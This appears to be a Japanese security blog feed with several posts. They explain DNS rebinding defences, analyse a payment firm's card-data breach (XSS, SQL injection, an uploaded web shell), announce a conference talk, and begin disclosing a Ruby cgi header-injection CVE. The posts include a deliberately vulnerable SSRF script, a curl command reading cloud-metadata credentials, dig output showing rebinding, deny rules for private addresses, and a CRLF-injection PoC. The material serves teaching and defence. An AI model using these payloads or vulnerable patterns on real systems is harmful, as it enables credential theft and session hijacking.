攻撃対象の例として、Ruby on Railsの開発環境がありました。Railsの開発支援機能web-consoleはDNSリバインディングに脆弱で、任意のコードを外部から実行できる問題が指摘されていました。

DNS rebinding attacks protection in Rails 6

このため、バージョン6以降で開発版でのDNSリバインディング対策が入るようになりました)。具体的にはHostヘッダのチェックであり、これはDNSリバインディングの定石的な対策方法の一つです。

この機能は開発環境のみでプロダクション環境では無効になります。 これは、Web-consoleのようなデバッグ支援環境でリモートコード実行の脆弱性が入りやすい(現実にあった)ので、開発環境だとDNSリバインディングの脅威があるという想定だと思います。

【参考】


SSRF攻撃との組み合わせ

SSRF攻撃の際に使われるDNSリバインディングについては以下の記事をお読みください。

EC2上でDNS RebindingによるSSRF攻撃可能性を検証した | 徳丸浩の日記

ここでは概要を説明します。以下のようなスクリプトがEC2上で動いているとします。外部からURLを取得して、その内容を表示するものです。

$url = $_GET['url'];
$urlinfo = parse_url($url);
$host = $urlinfo['host']; // URLからホスト名を取り出し
$ip = gethostbyname($host); // 接続先IPアドレスを取得
if ($ip == "169.254.169.254") { // AWSのIMDSチェック
die("Invalid host $host"); // IPアドレスが169.254.169.254ならエラー
}
$ch = curl_init($url); // URLからコンテンツ取得、表示

上記のスクリプトに、IPアドレス 169.254.169.254 のチェックをしていますが、これはEC2のIMDS (Instance Metadata Service)という機能を悪用されることを防ぐためです。IMDSは下記のように、169.254.169.254という仮想的なエンドポイントにアクセスすると、参照元インスタンスの設定を返します。以下は、EC2インスタンスに付与されたIAMクレデンシャルを参照する様子です。

[ec2-user@web ~]$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/XXXX
{
"Code" : "Success",
"LastUpdated" : "2022-05-08T04:17:09Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAR6Mxxxxxxxxxxxxx",
"SecretAccessKey" : "Wrt7en1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token" : "IQoJb3JpZ2luX2VjEAQaDxxxxxxxxxxxxxxxx...",
"Expiration" : "2022-05-08T10:52:42Z"
}

先に示したスクリプトは複数の抜け道があるのですが、その一つがDNリバインディングによる攻撃です。以下は、DNSサーバーにdigコマンドにより連続してアクセスしたところ、2回目にIMDSのIPアドレスが返っている様子です。

[ec2-user@web ~]$ dig example.net +short ; dig example.net +short
203.0.113.2
169.254.169.254
[ec2-user@web ~]$

これにより、IPアドレスチェックの際は無害な内容を返し、本番アクセスの際はIMDSのIPアドレスということになって、SSRF攻撃によりIMDSの内容を盗むことができます。

【参考】


DNSリバインディングの対策

下図はDNSの対策ができる場所を示しています。


以下、図中の数字の順に説明します。

① 対象サイト側の対策

DNSリバインディングの根本対策は、攻撃対象のサイトや機器側で行われるべきです。DNSリバインディングの対策は以下のいずれかにより対策できます。

  • ホスト名のチェック、あるいはダミーのデフォルトバーチャルホスト
  • 認証機能の実装(安全なパスワードを設定すること)

以下はNginxでダミーのバーチャルホストを設定している例です。本番サイトはexample.jpですが、それ以外のホスト名のリクエストはすべてダミーのコンテンツが返されることになります。ダミー側には機密情報や機能などはないので、DNSリバインディング攻撃を「受け流す」ことができます。

# ダミーのバーチャルホスト(Hostヘッダがexample.jp以外はこちらが設定される)
server {
listen 80 default_server;
server_name '_';
root /var/www/dummy; # 無害なコンテンツが返される
}
# 本番サイトのバーチャルホスト
server {
listen 80;
server_name example.jp;

あるいは、認証機能の実装でも対策になります。DNSリバインディング攻撃は利用者のセッションを乗っ取れるものではないからです。IoT機器やルーターなど初期パスワードが設定されているものは、必ず初期パスワードを変更する必要があります。

【参考】

SSRF対策のパイパスについては、SSRF自体の対策の中で考える必要があります。詳しくは以下のコンテンツを参照ください。

② ブラウザ側対策

DNS Pinning

主要ブラウザでは、DNSリバインディング対策としてDNS Pinning(DNSピニング)が実装されています。DNS Pinningとは、DNSのTTLが短い場合でも、DNSの参照結果を一定時間保持することです。下図は主要ブラウザのDNS Pinningの期間です。

Google ChromeFirefoxSafariIE
1分程度1秒~70秒15秒~30秒無期限?

DNSリバインディング対策という観点からはDNS Pinningの期間は長いほど安全ですが、DNSリバインディング以外の正当な状況でサーバーのIPアドレスが変化する場合もあるので、過度にDNS Pinningの期間が長いと副作用もあると考えられます。DNS Pinningの期間は時代とともに変化しており、最近はウェブサイトの本来のIPアドレスが短期間で変化するため、DNS Pinningの期間は短めにされる傾向があります。

Google Chromeで提唱されている対策

Google ChromeではDNS Pinning以外に「ローカルネットワークに対する攻撃」への防御機能が実装され始めています。Google Chrome 94では、XMLHttpRequestやFetch APIにより「パブリックネットワークからプライベートネットワークへの送信」については、HTTPSであることを要求するようになりました。

Starting in Chrome 94, public non-secure contexts (broadly, websites that are not delivered over HTTPS or from a private IP address) are forbidden from making requests to the private network.

Private Network Access update: Introducing a deprecation trial - Chrome Developersより引用

Chrome 94以降、パブリックな非セキュアコンテキスト(広義には、HTTPSで配信されていないウェブサイトや、プライベートIPアドレスからでないウェブサイト)は、プライベートネットワークへのリクエストが禁止されるようになりました(私訳)。

これにより、Google ChromeでDNSリバインディング攻撃しようとすると以下のようなエラーになります(ホスト名は例示用のもの)。

Access to XMLHttpRequest at 'http://example.com/secret.txt' from origin 'http://example.org' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space `private`.

エラーメッセージとしてはCORSエラーとなっていますが、DNSリバインディングは通常同一オリジンポリシーの範囲内のアクセスであり、当然CORSのエラーではありません。しかし、Google Chromeの最近のセキュリティ機能では、パブリックネットワークからプライベートネットワークへのリクエスト、およびプライベートネットワークからローカルホストへのアクセスについては、通常より厳しい制限を課していることになります。

このセキュリティ機能は、ローカルネットワークに対するCSRF緩和策として導入されたようですが、DNSリバインディング対策としても機能すると思われます。なぜなら、HTTPSによりDNSリバインディング攻撃しようとすると、攻撃先サーバーへのアクセスで証明書のエラーエラーになり、アクセスは停止するからです。

さらに、Google Chrome 102 以降では、このような状況でプリフライトリクエストが送信されるようになる予定です。

Preflight requests for PNA are also sent for same-origin requests, if the target IP address is more private than the initiator. This is unlike regular CORS, where preflight requests are only for cross-origin requests. Preflight requests for same-origin requests guard against DNS rebinding attacks.

Private Network Access: introducing preflights - Chrome Developersより引用

PNA(Private Network Access)のプリフライトリクエストは、ターゲットIPアドレスがイニシエーターよりもプライベートである場合、同一オリジンのHTTPリクエストに対しても送信されます。これは、プリフライトリクエストがクロスオリジンリクエストに対してのみ送信される通常のCORSとは異なります。同一生成元リクエストのプリフライトリクエストは、DNSリバインディング攻撃を防止します(私訳)。

引用元にもDNSリバインディング攻撃防止のためと明記されています。

このようにGoogle Chrome(あるいはChromium系ブラウザ)を使うことでDNSリバインディングの対策が強化されますが、これら対策はProxyサーバー経由での通信には適用されません。Proxy経由での通信の場合、ブラウザからはパブリックあるいはプライベートという区別がつかないからです。これはDNS Pinningについても同様であり、各ブラウザ共通の挙動になります。

③ Proxyサーバーでの対策

前述のようにProxy経由でのブラウザ利用の際には、ブラウザ側のDNSリバインディング対策は機能しないため、Proxy側での対策が求められます。よく理由されるFoward ProxyであるSquidには、以下のDNS Rebindin対策が利用できます。一方、Apache HTTPdをProxyとして使う場合、DNSリバインディングに使える機能は調査の範囲では見つかっていません。ご存じの方はぜひご指摘ください。

(1) IPアドレスによるアクセス制御

Squidのアクセス制御機能から、接続先(Destination)のIPアドレスを制限することができます。以下は、192.168.0.0/24に対するアクセスを拒否する例です。

acl localnet dst 192.168.0.0/16
http_access deny localnet

(2) DNS Pinning

SquidはDNSキャッシュの上下限を指定することができます。

ディレクティブ意味デフォルト値
positive_dns_ttlDNSキャッシュの上限6時間
negative_dns_ttlDNSキャッシュの下限1分

これらのうち、negative_dns_ttl はDNS Pinningの用途に使うことができます。 しかしながら、negative_dns_ttlをむやみに長くすると副作用もあります。もしも正規のDNSクエリに失敗した場合、その失敗の結果もキャッシュされるからです。このため、negative_dns_ttlをデフォルトより長くすることはお勧めできません。

結論としては、SquidでDNSリバインディング対策する場合は、(1)のアクセス制御による方法がお勧めです。

【参考】

④ DNSキャッシュサーバーでの対策

リゾルバ(DNSキャッシュサーバー)による対策も可能です。Squidの項で説明したDNS Pinningとアクセス制御の両方が主要リゾルバで用意されています。

DNS Pinning

下表に主要ブラウザでDNS Pinningを指定するディレクティブを示します。DNSコンテンツサーバー側でTTL=0秒などと短い秒数が指定されていた場合でも、こちらで指定した秒数に切り上げられます。

リゾルバbind9unbounddnsmasqPowerDNSKNOT DNS
設定項目min-cache-ttlcache-min-ttlmin-cache-ttlminimum-ttl-overridecache.min_ttl()
備考90秒以下制限など記載なし1時間以下デフォルト1秒デフォルト5秒

PowerDNSとKNOT DNSは最短のTTLがデフォルトとして指定(1秒~5秒)されており、TTL=0は許容されない設定になっています。このような控え目の設定でもSSRF攻撃の緩和には役立つと思われます。

特定IPアドレスの拒否

また、多くのDNSサーバーは、DNSリバインディング対策として、IPアドレスのフィルタリング機能を提供しています。下表はIPアドレスの拒否リストあるいはDNSリバインディング対策として使えるプライベートIPアドレス等を拒否するためのディレクティブの一覧です。

リゾルバbind9unbounddnsmasqPowerDNSKNOT DNS
設定項目deny-answer-addressesprivate-addressstop-dns-rebind設定は見つからなかったmodules.load('rebinding < iterate')
備考サブネットマスク等で指定サブネットマスク等で指定一括停止Luaスクリプトで可能一括停止、詳細にやるならLuaスクリプト

私の調査では、PowerDNSのみ該当する項目を探せなかったのですが、Luaスクリプトで特定IPアドレスを拒否することは可能でした。 また、dnsmasqとKNOT DNSはIPアドレス指定ではなく、DNSリバインディングに使われそうなサブネットマスクを一括して拒否する形になっています。

また、単体のリゾルバではありませんが、Googleが提供するGoogle Nest WiFiにはDNSリバインディング防御機能が提供されてます。

Google Nest スピーカー、ホームメディア サーバー、IoT(モノのインターネット)デバイスのような接続されたデバイスをホストするホーム ネットワークは、DNS リバインディングと呼ばれる攻撃を受けるおそれがあります。Google Wifi では、この種の攻撃を防止するため、DNS リバインディングに対する保護機能で、公開ドメインにプライベート IP アドレス範囲を使用されないようブロックすることができます。この機能はデフォルトで有効になっています。

DNS リバインディングに対する保護機能 - Google Nest ヘルプより引用

試したところ、192.168.10.1 のようなプライベートIPアドレスはブロックされる一方で、127.0.0.1 のようなlocalhostのアドレスはブロックされません。また、当該機能は副作用の可能性もあるため、無効にすることもできます。

リゾルバでのDNSリバインディング対策をどう考えるか

多くのリゾルバがDNSリバインディング対策の機能を提供しますが、デフオルトは無効化されていることから、いずれも「積極的に使っていきましょう」という姿勢ではないように感じます。その典型はbindです。min-cache-ttlの最大値は90秒なので「これで守り切る」という数字ではありません。また、IPアドレスの拒否リストについては以下のような注意書きがマニュアルに付記されています。

The “rebinding” attack must primarily be protected at the application that uses the DNS. For a large site, however, it may be difficult to protect all possible applications at once. This filtering feature is provided only to help such an operational environment; turning it on is generally discouraged unless there is no other choice and the attack is a real threat to applications.

4. BIND 9 Configuration Reference — BIND 9 9.19.0 documentationより引用

リバインディング攻撃は、主にDNSを使用するアプリケーション側で保護されなければなりません。しかし、大規模なサイトでは、可能性のあるすべてのアプリケーションを一度に保護することは困難な場合があります。このフィルタリング機能は、そのような運用環境を支援する目的にのみ提供されています。他に選択肢がなく、攻撃がアプリケーションにとって本当に脅威とならない限り、この機能を有効にすることは一般に推奨されません。(私訳)

この「DNSを使用するアプリケーション側で保護されなければなりません」という指摘に私も同意します。 また、以下の資料にはDNSリゾルバの防御機能の抜け穴が報告されています。例えば、CNAMEとしてlocalhost.を返すようなケースが紹介されています。

このため、DNSリゾルバでの対策はあくまで緩和策としてとらえておくべきだと思います。

結局DNSリバインディング対策はどうすればよいか

ここまで説明したように、DNSリバインディング対策が「出来る」ポイントは以下の4箇所あります。

  • 攻撃対象
  • ブラウザ
  • PROXYサーバー
  • リゾルバ

これらの中で、確実な対策がとれるのは攻撃対象のみです。対策自体は難しいものではないので、まずはこれを検討するべきです。 しかし、以下のような状況はありえます。

  • 社内ネットワーク内に攻撃対象となり得る機器が多すぎで把握すら難しい
  • 対象のサーバーや機器側の仕様上対策が難しい

このため、以下のステップで対策を検討するとよいでしょう。

  1. ネットワーク内に存在するDNSリバインディング攻撃対象の機器やパソコンの洗い出し
  2. 対策の要否検討
  3. 対策方法の検討
  4. 対策実施

DNSリバインディングはマイナーな攻撃方法であり、他のウイルス感染などの方が簡単に侵入できるため、あまり過敏になることもないとは思いますが、原理的には可能であるので、「重要情報が盗まれる」などの状況は放置しない方がよいでしょう。DNSリバインディングの確実な対策の一つが「認証ちゃんとやる」ですので、結局のところ、

  • 社内ネットワークといえども認証とアクセス制御をきちんとやる

この当たり前のことをちゃんとやっていれば大丈夫です。 後は、保険的な対策としてPROXYやリゾルバの対応をどうするかですが、近年はPROXYやリゾルバはセキュリティ製品の一機能である場合も多く、自前でオープンソースソフトウェアを構築するケースは少ないと思います。なので、PROXYやリゾルバでの対策は、積極的に活用するというよりは、「使える場合は使うことも考える」くらいのレベル感ではないでしょうか。

まとめ

DNSリバインディングの対策として使える機能について説明しました。Google社がDNSリバインディング対策に熱心なことが印象的ですが、まずは攻撃可能性の洗い出しと、ローカルネットワークでも認証をおろそかにしないという基本的な対策を推奨いたします。

メタップスペイメント不正アクセス事件の第三者報告書から攻撃の模様を読み解く

$
0
0

株式会社メタップスペイメントの運営する決済代行システムから約288万件のクレジットカード情報が漏洩した不正アクセス事件について、第三者委員会の報告書および経済産業省の行政処分(改善命令)があいついで公開されました。

第三者委員会調査報告書(公表版)
クレジットカード番号等取扱業者に対する行政処分を行いました (METI/経済産業省)

本稿では、主に第三者委員会の調査報告書(以下「報告書」と表記)をベースとして、この事件の攻撃の様子を説明します。

システムの概要

報告書にはシステム構成図やネットワーク構成図は記載されていないため、報告書の内容から推測によりシステムの構成を以下のように仮定しました。

図中のサーバー名は報告書の記載に従っています。以下、概要を説明します。

サーバ名概要
A社アプリ一般社団法人A 会員向け申込みフォーム
経産省改善命令では、「同社とコンビニ決済に係る契約を締結していた加盟店にサービスを提供するために開発、運用していたアプリケーション(以下「加盟店向けアプリ」という。)」が該当すると思われる
K管理画面社内用決済管理画面。A社アプリのサーバーと同居していた(*1)
決済サーバ決済機能を提供するサーバー。攻撃対象ではなかった可能性があるが機能としては存在するので記載した
データベース各システム共用のデータベース
報告書内にデータベースの種類は明記されていないが、用語集にMySQLの説明があるので、MySQLを使用していると推測
復号化サーバ報告書に登場する。暗号化されたクレジットカード情報を復号を提供するAPIと思われるが、不正アクセスに関する記載はない(*2)

注 *1 : 報告書中には、A社アプリとK管理画面が同居していた旨は明記されていませんが、時系列表には、事故後の対応として「管理画面サーバから確認用サイト、A社アプリの分離(2022年1月7日)」を実施した旨が記載されているので、元々これらは同一サーバに同居していたと考えられます。

注 *2 : 報告書には「Web2系に暗号化されたカード情報に係る復号化サーバが配置されていた。Web2系には、決済システムも配置されており、そこで暗号化されたカード情報も管理されていた。」と記載されています。報告書中では「サーバー」、「サイト」、「画面」、「機能」の使い分けが明確でないため断言は難しいのですが、「Web2系」がサーバーを意味すると解釈すると、決済サーバと復号化サーバは同一マシンに同居していた可能性があります。


時系列の流れ

第三者委員会の報告書に加えて、メタップス社の2月28日づけリリースも合わせて時系列の流れをまとめました。

日時出来事
2021年8月2日メタップスペイメントの決済データセンターに対する不正アクセスが開始。K管理画面へのXSS攻撃か?
2021年8月31日K管理画面に対する不正ログイン始まる
2021年10月14日A社アプリにSQLインジェクション攻撃始まる
2021年10月15日A社アプリに、SQLインジェクションで得たパスワードによる不正ログイン
2021年10月19日
~10月27日
A社アプリのSQLインジェクションにより2万5千件のカードデータ窃取
2021年10月25日
~12月14日
K管理画面不正ログインによりカード番号全桁の検索が実行される(2万件程度)
2021年10月25日メタップスペイメントがA社アプリのメンテナンス中にSQLインジェクション攻撃を発見
2021年10月27日メタップスペイメントがA社アプリのSQLインジェクション対策を完了
2021年11月11日A社アプリのアップロード機能よりバックドアが設置され、攻撃開始。最終的にカード情報データベースの全データが窃取されたとみられる(460,395件 + 2,415,750件)
2021年12月14日アクワイアラ E 社からイベントペイで不正利用懸念の連絡
2021年12月16日イベントペイでクレジットカード決済を停止
2022年1月6日K管理画面の管理用サイトにBasic認証を追加
2022年1月7日K管理画面サーバから確認用サイト、A社アプリの分離、A社用DBとペイメントDBの分離
2022年1月8日A社アプリのサーバの分離を実施
2022年1月24日メタップスペイメントがバックドアプログラムの存在を確認、削除
2022年1月24日メタップスペイメントが不正アクセス被害を公表
2022年1月28日管理用サイトのクロスサイト・スクリプティングに対応、Basic認証の追加
2022年2月28日メタップスペイメントが不正アクセスによる情報流出を公表

攻撃の流れの詳細については以下で説明します。


1. K管理画面 のアカウント情報の窃取、不正ログイン

報告書によると、以下の順で攻撃が行われました。

  1. K管理画面のXSS脆弱性を悪用し、当管理画面のID・パスワードを窃取(報告書には時期の記載がないが、2022年2月28日づけメタップス社のリリース記載の2021年8月2日の不正アクセスが該当するか?)
  2. X氏アカウントによる不正ログイン(2021年8月31日~)
  3. メタップス社内にてX氏アカウントのパスワードを変更(2021年9月末から2021年10月初旬までの間)これ以降X氏アカウントの不正ログインなし
  4. Y氏アカウントにて不正ログイン(2021年10月6日以降)

攻撃の模様を下図に示します。

報告書によると、XSS攻撃を許してしまった理由は下記のとおりです。

  • 自社で実施した脆弱性診断ではXSS脆弱性が検出されていたが、高危険度の脆弱性があるとPCI DSSの審査に通らないため、報告書を改ざんして脆弱性自体をなかったことにした
  • WAFが導入されていなかった(PCI DSSではコードレビューまたはWAFのいずれかの導入を求められているので、WAF導入は必須ではない)

XSS攻撃の詳細

K管理画面は社員向けのシステムであるので、画面の詳細は外部の攻撃者にはわからないはずです。報告書ではXSS攻撃の詳細は発表されていませんが、管理画面を狙うXSS攻撃自体は最近よく見かけるもので、おそらく問い合わせ画面のように外部から入力できるフォームからJavaScriptによる攻撃コードを注入したのではないかと予想されます。その種の攻撃の例としては、Water Pamolaが知られています。Water Pamola型のXSS攻撃の例については以下の動画を参照ください。


なぜパスワードが窃取できたか?

次にXSS攻撃でK管理画面のパスワードが窃取できた理由を考察します。こちら報告書には書かれていないので、「ありそうな経路」を列挙するにとどめます。

  1. 管理機能としてパスワードを平文で表示する箇所があった
  2. ログイン状態で自分自身のパスワードを変更した(パスワード再入力なし)
  3. 他の管理者のパスワードを変更する機能を悪用した(パスワード再入力なし)
  4. ログイン中のユーザあるいは他の管理者のパスワードをリセットする機能を悪用した

1は通常はあり得ないのですが、この事件では「あり得ないことが幾つも起こっている」のでないと断言することもできません。ありそうな経路は2または3ですが、そうすると、本来の管理者がログインできなくなります。その段階で気づきそうなものですが、報告書には当初不正ログインに使われていたX氏のパスワードが変更されたとあるものの変更した理由は明記されていない(ちなみに時期も明確ではない)ため、「X氏は攻撃者にパスワードを変更されたことに気づかないままパスワードをリセットした」可能性も考えられると思います。

社内用決済管理画面はインターネットからアクセスできた

K管理画面に不正ログインされたということは、社内用決済管理画面にインターネットからアクセスできたことを意味します。これも奇異な状態ですが、報告書の時系列表には、2022年1月6日に「管理用サイトにBasic認証を追加」とあるので、それまではインターネットから自由に当該システムにアクセスできたものと推測されます。


2. SQLインジェクション攻撃によるカード情報とパスワードの窃取

報告書には以下のように記載されています。以下引用です。

攻撃者は、2021年10月14日から2021年10月27日に渡り、A社アプリに対するSQLインジェクション攻撃により、暗号化されたカード番号、マスクされたカード番号及びA社管理画面の管理者アカウント情報をそれぞれ不正取得した。

この攻撃の様子を下図に示します。




A社アプリは元々他のクラウドに設置されていたものですが、2018年に東京データセンターに移設され、その際、データベースのテーブルはカード情報データベースと同じスキーマに設置されていたとのことです(データベーススキーマの未分離)。このため、A社アプリに対するSQLインジェクション攻撃により、カード情報まで窃取されたことになります。

SQLインジェクションによるパスワード窃取と不正ログイン

また、A社管理画面の管理者アカウントの窃取と不正ログインについては以下のような時系列となっています。

2021年10月15日 05:09SQLインジェクションによりID・パスワードの窃取
2021年10月15日 05:12不正ログイン

IDとパスワードの窃取から、わずか3分後に不正ログインされていることから、パスワードは平文で保存されていた可能性が高いと推測されます。仮にハッシュ値等で保存されていたとしても3分間で平文パスワードを復元されたのでは意味がありません。この不正ログインが次項の「バックドアプログラムの設置」につながります。

SQLインジェクション脆弱性が残置された理由

SQLインジェクション攻撃を許してしまった理由は、前述のWAFの未設置の他、A社管理画面の開発経緯が原因だったようです。以下報告書からの引用です。

上記ソースコード・レビューに関する社内規程が作成されたのは、2012年10月であるところ、A社アプリが委託先であるB社によって開発されたのは、2007年頃であるため、当時は、社内的にも同アプリに対してSQLインジェクション攻撃への対策としてソースコード・レビューを実施することは必須とされていなかった。また、MPにおいては、以前より「決済システム以外は脆弱性対策をする必要がない」との認識があったため、同規定の作成時において、当時フロントシステムにあったA社アプリが見直し的にソースコード・レビューの対象となることもなかった。

A社アプリが東京データセンターに移設された後も、同様の認識により、ソースコード・レビューや脆弱性診断の対象にはなっていなかったようです。


3. バックドアプログラムの設置と攻撃

こちらも報告書から引用します。

攻撃者は、2021年10月15日、A社管理画面に一度不正アクセスしているが、更に2021年11月11日、A社管理画面に不正アクセスを行い、A社アプリの管理機能の一つであるファイルアップロード機能を悪用し、バックドアプログラムを設置した。

そして、不正ファイル経由で、データベース内から、暗号化されたカード情報を含む当時格納されていた全ての情報を不正取得したと考えられる。

この様子を下図に示します。




ファイルアップロード機能によるバックドアプログラム(おそらくWebShell)を設置するのは定番の攻撃方法です。報告書には「東京DCがA社アプリと同じJavaで構築されているため」という記述があるのため、A社アプリはJavaで構築されていることがわかります。なので、バックドアプログラムは、JSP記述のWebShellと推測されます。

また、「不正ファイル」という用語はバックドアプログラムとは別のものとして記載されているようです。不正ファイルの中身は判然としませんが、WebShellから起動されたリバースシェルあるいはデータベース(MySQL)アクセス用のツールではないかと思われます。

バックドア設置はSQLインジェクション対策後に行われた

A社アプリのSQLインジェクション脆弱性対策は2021年10月27日に完了していますが、A社アプリのパスワードを悪用してのバックドア設置は2021年11月11日に設置されています。SQLインジェクション対応の一環として、A社アプリのパスワード変更を実施しておけば、バックドア設置はできなかったはずです。

復号鍵の窃取

また、報告書には記載がありませんが、経産省の改善命令には復号鍵について以下の記載があります。

当該クレジットカード決済システム内のデータベースに保存していた暗号化されたクレジットカード番号(マスキングされたクレジットカード番号を含む。)、有効期限、セキュリティコード及びこれらを復号化するための復号鍵が窃取され

復号鍵が窃取されたと明記されていますが、復号鍵がデータベースに保存されていたとは考えにくく、また「復号化サーバ」が存在する以上は、復号鍵はそこにあると考えるのが自然です。

報告書には復号鍵の漏洩ルートに関する記載はないようですが、時系列表には以下の記載があります。

2022年1月28日 復号APIのディレクトリトラバーサルに対応。

 このため、復号APIのディレクトリトラバーサル脆弱性が悪用されて復号鍵が窃取された可能性があります。

任意形式のファイルをアップロード可能だった

管理画面にファイルアップロード機能があること自体はよくあることですが、この場合、任意ファイル名で任意の内容のファイルをアップロードできると、簡単にWebShell等を設定されてしまうので通常はファイル名やファイルの中身に制限をつけます。しかし、報告書によると、以下のような記載があり、

アップロード機能の設定の不備 により、想定以外のファイルをアップロード可能だった為、バックドアプログラムを設置されていた。

拡張子.jspのファイル等をアップロードできていたことがわかります。

ファイル改ざん検知の不備

バックドアプログラムの設置は一種の「改ざん」にあたるため、ファイル改ざん検知システムが導入されていれば、バックドア設置を早期に発見できた可能性があります。メタップスペイメント社はPCI DSS 3.2.1完全準拠をうたっていましたし、PCI DSSではファイル改ざん検知システムの導入を要求しています。A社アプリはPCI DSSの対象外だったようですが、このアプリケーションにも改ざん検知システム(ファイル整合性監視ツール)を導入して監視しておけば、早期にバックドアの設置を検知して対応できた可能性があります。また、この記事の冒頭で推測しているようにA社アプリとK管理画面が同一サーバーに同居していたとするならば、PCI DSSの観点からも、ファイル改ざん検知の対象にすべきであったと考えます。

もっとも当社の監視体制については、報告書に以下の記載もあるため、改ざん検知システムを導入していただけでは有効に機能しなかった可能性が高いです。

従業員のヒアリング結果によれば、実際はセキュリティアラートにする検証ができる人材が不足しており、また、必要な範囲でセキュリティアラートを発信するようにするためのシステム面での調整(チューニング)が出来ていないことも相まって、MPの従業員は、セキュリティアラートが発信されても、特段気にして監視していなかったとのことであり、十分な検証がなされていなかったことが認められた。

事故後の対応として、2022年1月29日に「改ざん検知設定を修正」とあるため、改ざん検知システム自体は元々導入されていたようです。


4. 管理画面 への再度の不正アクセス 及び カード番号照会開始

報告書には以下のように書かれさています(2021年10月25日から同年12月14 日)。

上記SQLインジェクション攻撃及びバックドアプログラムにより、既にデータベースからマスクされたカード番号を不正取得しており、K管理画面上で不正取得したマスクされたカード番号を検索照会することによって、平文のフル桁のカード番号を閲覧することができたと考えられる。

また時系列表には以下のように記載されています。

海外IPアドレスによりUserID「Y氏」を利用してカード番号の検索が行われ、不正取得した閲覧用パスワード入力後、平文のフル桁のカード番号の検索結果が表示された。
なお、この間、平文のフル桁のカード番号を確認可能なURLに対し、約2万回不審な連続アクセスが確認された。

この攻撃の様子を下図に示します。

クレジットカード窃取は3経路存在した

ここまで説明した攻撃手法から、クレジットカード情報を攻撃者が入手した経路は以下の3経路があることになります。

  1. A社アプリ経由: SQLインジェクション攻撃によりマスク化カード情報と暗号化カード情報を入手(2万5千件、2021年10月27日まで)
  2. バックドア経由: バックドアにより暗号化カード情報と復号鍵を入手(288万件、2022年1月18日まで)
  3. K管理画面経由: K管理画面のもつクレジットカード番号検索機能の悪用による平文全桁カード情報取得(2万件、2021年12月14日まで)

3のK管理画面経由での平文カード情報取得は2021年12月14日で終わっています。攻撃者がなぜ経路3をこの時期にやめたかという理由を推測すると、この時期に復号鍵が入手できたため、経路3を悪用する理由がなくなったから、というのが私の推測です。

事故対応の過程で、当初メタップスペイメント社は上記1および3の経路のみを把握していたようですが、以下のように、1および3以外の経路があることに気づきます。

MPは、2022年1月21日に受領したK社12件のログの社内検証結果として、判明している原因(K管理画面に対する不正アクセスやSQLインジェクション攻撃)以外でクレジットカード情報が窃取されていると判断した(1月8日までの対策のみでは情報漏えいを防ぎきれていないことを認識した。)。

その後の調査にて、2022年1月24日にバックドアプログラムの発見、削除に至ります。


まとめ

メタップスペイメントのクレジットカード情報漏えい事件の概要を第三者委員会の報告書を元に説明しました。決済代行事業社からクレジットカード情報が大量に漏洩するという衝撃的な事件でありましたが、漏洩に至る経緯も驚くべきもので、第三者委員会報告書はセキュリティ関係者にとって非常に学びの多い資料だと思います。

侵入の発端となった脆弱性は、クロスサイトスクリプティングおよびSQLインジェクションという非常に基本的なものでありますが、仮にそれらの脆弱性があっても、他の保険的な対策や侵入発見後の対処が適切であれば、被害を最小限に留められたはずという点でも学びが多く、機会があれば別の記事で紹介したいと思います。

クロスサイトスクリプティングやSQLインジェクションなどの基本的な脆弱性や、当事件で悪用されたファイルアップロード機能やアカウント管理に関する対策方法については下記の書籍にて説明しています。

PHPカンファレンス2022にてSPAセキュリティ超入門の話をします

$
0
0

今年もPHPカンファレンスにてトークさせていただくことになりまして、以下のようなお話をいたします。

日時:9月25日(日) 14:40〜15:40
場所:大田区産業プラザPiO  および YouTube
費用:無料
講演タイトル:SPAセキュリティ超入門
申し込み: connpass
アジェンダ:

SPA(Single Page Application)の普及が一層進んでおり、従来型のMPAを知らないウェブ開発者も生まれつつあるようです。SPA対応のフレームワークでは基本的な脆弱性については対策機能が用意されていますが、それにも関わらず、脆弱性診断等で基本的な脆弱性が指摘されるケースはむしろ増えつつあります。
本セッションでは、LaravelとReactで開発したアプリケーションをモデルとして、SQLインジェクション、クロスサイトスクリプティング、認可制御不備等の脆弱性の実例を紹介しながら、現実的な対策について紹介します。LaravelやReact以外のフレームワーク利用者にも役立つ説明を心がけます。


実は昨年も「SPAセキュリティ入門」というテーマでトークをしておりまして、今年はもう少し易しめということで「超入門」としました。

昨年の講演のスライドおよび動画は以下から参照ください。

昨年は主にSPAにまつわるセッション管理に焦点をあてて、JWTによるセッション管理は是か非か、JWT等トークン類の保存場所はCookieかlocalStorageかという基本的な考え方(しばしば論争になる)のお話をしました。

今年はもう少し現実的なテーマとして、アジェンダにもあるように、LaravelによるサーバーサイドAPI、Reactによるフロントエンドという構成のSPAを題材として、以下のような「よくある」脆弱性がいかにして混入するか、およびその対策について説明します。

  • 認可制御不備
  • SQLインジェクション
  • クロスサイトスクリプティング(XSS)

これら脆弱性は、LaravelおよびReactを普通に使っていれば混入しないはずのものです。しかし脆弱性診断等ではこれら脆弱性はしばしば目にします。普通に作れば混入しないはずの脆弱性がなぜ混入するのか。私はその原因を追い続けていましたが、どうも従来型のアプリケーション(マルチページアプリケーション=MPA)では常識だった知識が、SPAでは伝承されていないのではないかと考えるに至りました。この要因ファクターXについて紹介するとともに、なぜ今基本的な脆弱性が多いのかを説明しようと思います。

なお、前述のようにファクターXは従来の常識ですので、「なぁんだ、そんなことか」となること請け負いですが、「そんなこと」レベルのことが問題になっているように考えています。

それでは、よろしくお願いいたします。


Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621の概要と発見の経緯

$
0
0

この記事はRuby Advent Calendar 2022の第20日の記事です。前日の記事は@ydahさんによる「RuboCopのバージョンを最新に保つ技術」でした。

2022年11月22日に、Ruby cgi gemのHTTPヘッダインジェクション脆弱性CVE-2021-33621が発表がされました。

私はHackerOneを通じてこの脆弱性を報告しました。この記事では、当該脆弱性の概要と発見の経緯などについて報告します。

概要

この脆弱性はRubyでCGIプログラムを記述際に用いられるcgi gem のheaderメソッドに内在するものです。PoCを以下に示します。このスクリプトは、クエリ文字列 num を受け取り、http://example.jp/?num=<指定された数値>にリダイレクトするものです。

#!/usr/bin/ruby
require 'cgi'

cgi = CGI.new
num = cgi.params['num'][0]
print cgi.header({'status' => '302 Found', 'Location' => "http://example.jp/?num=#{num}"})

ここで、numとして下記を指定した場合、

num=3%0d%0aSet-Cookie:+SESSID%3d1234567890

%0d%0aは改行なので、以下のレスポンスヘッダが出力されます。

